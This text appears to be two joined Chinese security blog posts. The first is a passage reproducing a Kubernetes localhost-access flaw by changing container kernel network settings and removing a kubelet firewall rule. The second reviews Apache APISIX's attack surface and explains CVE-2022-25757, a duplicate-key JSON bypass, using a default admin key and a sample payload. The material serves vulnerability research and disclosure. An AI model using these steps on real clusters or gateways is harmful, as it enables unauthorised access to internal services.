然后创建容器,并进入到容器网络命名空间,设置rp_filter=0、accept_local=1

1
2
3
4
5
6
7
8
9
10
11
[root@instance-h9w7mlyv ~]# docker run -d busybox tail -f /dev/null		// 创建容器
62ba93fbbe7a939b7fff9a9598b546399ab26ea97858e73759addadabc3ad1f3
[root@instance-h9w7mlyv ~]# docker top 62ba93fbbe7a939b7fff9a9598b546399ab26ea97858e73759addadabc3ad1f3
UID PID PPID C STIME TTY TIME CMD
root 43244 43224 0 12:33 ? 00:00:00 tail -f /dev/null
[root@instance-h9w7mlyv ~]# nsenter -n -t 43244 // 进入到容器网络命名空间
[root@instance-h9w7mlyv ~]#
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.all.accept_local=1 // 设置容器中的accept_local配置
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.all.rp_filter=0 // 设置容器中的rp_filter配置
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.default.rp_filter=0
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.eth0.rp_filter=0

如果你是docker exec -ti busybox sh进入到容器中,然后执行sysctl -w配置内核参数,就会发现报错,因为/proc/sys目录默认是作为只读挂载到容器中的,而内核网络参数就在/proc/sys/net目录下。

然后就可以在容器中使用curl 127.0.0.1:端口号 --interface eth0来访问宿主机上的服务。

image

kubernetes对漏洞的修复

这个pr 中kubelet添加了一条iptables规则

1
2
root@ip-172-31-14-33:~# iptables-save |grep localnet
-A KUBE-FIREWALL ! -s 127.0.0.0/8 -d 127.0.0.0/8 -m comment --comment "block incoming localnet connections" -m conntrack ! --ctstate RELATED,ESTABLISHED,DNAT -j DROP

这条规则使得,在tcp握手时,第一个syn包如果目的ip是”环回地址”,同时源ip不是”环回地址”时,包会被丢弃。

所以如果你复现时是在kubernetes环境下,就需要删掉这条iptables规则。

或许你会有疑问,源ip不也是可以伪造的嘛。确实是这样,所以在 https://github.com/kubernetes/kubernetes/pull/91569 中有人评论到,上面的规则,不能防止访问本地udp服务。

总结

公有云vpc网络环境下,可能因为交换机有做限制而导致无法访问其他虚拟机的”仅绑定在127.0.0.1的服务”。

docker容器网桥网络环境下,存在漏洞的kube-proxy已经设置了宿主机网络的route_localnet选项,但是因为在容器中/proc/sys默认只读,所以无法修改容器网络命名空间下的内核网络参数,也很难做漏洞利用。

kubernetes的修复方案并不能防止访问本地udp服务。

如果kubernetes使用了cni插件(比如calico ipip网络模型),你觉得在node节点能访问到master节点的”仅绑定在127.0.0.1的服务”吗?

参考

内核网络参数详解

背景

有大佬已经对 apisix攻击面 做过总结。

本文记录一下自己之前的评估过程。

分析过程

评估哪些模块?

首先我需要知道要评估啥,就像搞渗透时,我得先知道攻击面在哪里。

image

根据文档,可以知道apisix项目包括很多系统,包括:

sdk即使有漏洞,攻击场景也感觉有限,所以没有评估。

“ingress控制器”需要结合k8s中的网络来做评估,因为时间有限,所以只是粗略看了一下。

我主要看了网关和dashboard两个系统。

从文档上很容易看出来,网关有三个重要的模块:

  • 插件
  • admin api
  • control api

对于api来说,首先要检查的是”身份认证”和”鉴权”这两个安全措施。

apisix历史漏洞绝大部分都出现在插件中,所以插件属于”漏洞重灾区”。

评估api安全性:身份认证和鉴权

admin api实现如下:

  • admin api 使用token做认证,token是硬编码的。这个问题已经被提交过漏洞,官方应该不打算修复。
  • admin api 鉴权上,设计了viewer和非viewer两种角色。viewer角色只允许get方法。

靶场见 Apache APISIX 默认密钥漏洞(CVE-2020-13945)

control api是没有身份认证的,但是有两个点限制了攻击:

  • 默认它只在本地监听端口
  • 插件无关的control api只有”读信息”的功能,没有发现啥风险点

插件创建的control api是一个潜在的攻击面,不过我没找到啥漏洞。

评估插件安全性

因为插件默认都是不开启的,所以虽然它是重灾区,但是我并没有投入过多精力去审计。

不过在这里确实发现了一个安全问题,报告给官方后,分配了CVE-2022-25757

下面来说一下这个安全问题。

CVE-2022-25757

这个安全问题是什么?

request-validation插件可以检查HTTP请求头和BODY内容,当不符合用户配置的规则时,请求就不会转发到上游。

比如用户按照如下规则配置时,body_schema限制请求中必须要有string_payload参数,并且是字符串类型,长度在1到32字节之间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
curl http://127.0.0.1:9080/apisix/admin/routes/10 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"uri": "/10",
"plugins": {
"request-validation": {
"body_schema": {
"type": "object",
"required": ["string_payload"],
"properties": {
"string_payload": {
"type": "string",
"minLength": 1,
"maxLength": 32
}
}
}
}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"192.168.2.189:8888": 1
}
}
}'

但是恶意用户发送如下请求时,有可能绕过限制

1
2
3
POST http://127.0.0.1:9080/10
...
{"string_payload":"","string_payload":"1111"}

为什么会绕过限制?

request-validation.lua中使用cjson.safe库解析字符串为json对象,对于带有”重复键值”的json,它会取最后面的值。比如{"string_payload":"","string_payload":"1111"},request-validation插件会认为string_payload=”1111”。

1
2
3
4
local _M = {
version = 0.1,
decode = require("cjson.safe").decode,
}

但是有很多流行的库,对于带有”重复键值”的json,它会取最前面的值,因此{"string_payload":"","string_payload":"1111"}会被认为string_payload=””。

因此request-validation插件和上游服务在解析json时可能存在差异性,所以会导致限制被绕过

哪些库和request-validation插件在解析”重复键值json”时存在差异?

根据 https://bishopfox.com/blog/json-interoperability-vulnerabilities 文章,可以知道最起码以下库和request-validation插件在解析”重复键值json”时存在差异。

img

选取其中的gojay库做了验证,程序打印gojay而不是gojay2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main
import "github.com/francoispqt/gojay"

type user struct {
id int
name string
email string
}
// implement gojay.UnmarshalerJSONObject
func (u *user) UnmarshalJSONObject(dec *gojay.Decoder, key string) error {
switch key {
case "id":
return dec.Int(&u.id)
case "name":
return dec.String(&u.name)
case "email":
return dec.String(&u.email)
}
return nil
}
func (u *user) NKeys() int {
return 3
}

func main() {
u := &user{}
d := []byte(`{"id":1,"name":"gojay","email":"gojay@email.com"},"name":"gojay2"`)
err := gojay.UnmarshalJSONObject(d, u)
if err != nil {
//log.Fatal(err)
}
println(u.name); // 取最前面的key的值,也就是gojay,而不是gojay2
}

总结

评估思路比较简单:

  • 识别攻击面
  • api关注身份认证和鉴权
  • 插件关注业务逻辑

openresty配置中的api也是攻击面,下一篇再写。

说一个题外话:apisix的插件机制提供了很好的扩展能力,再加上openresty的高性能,或许拿来做waf架构很合适。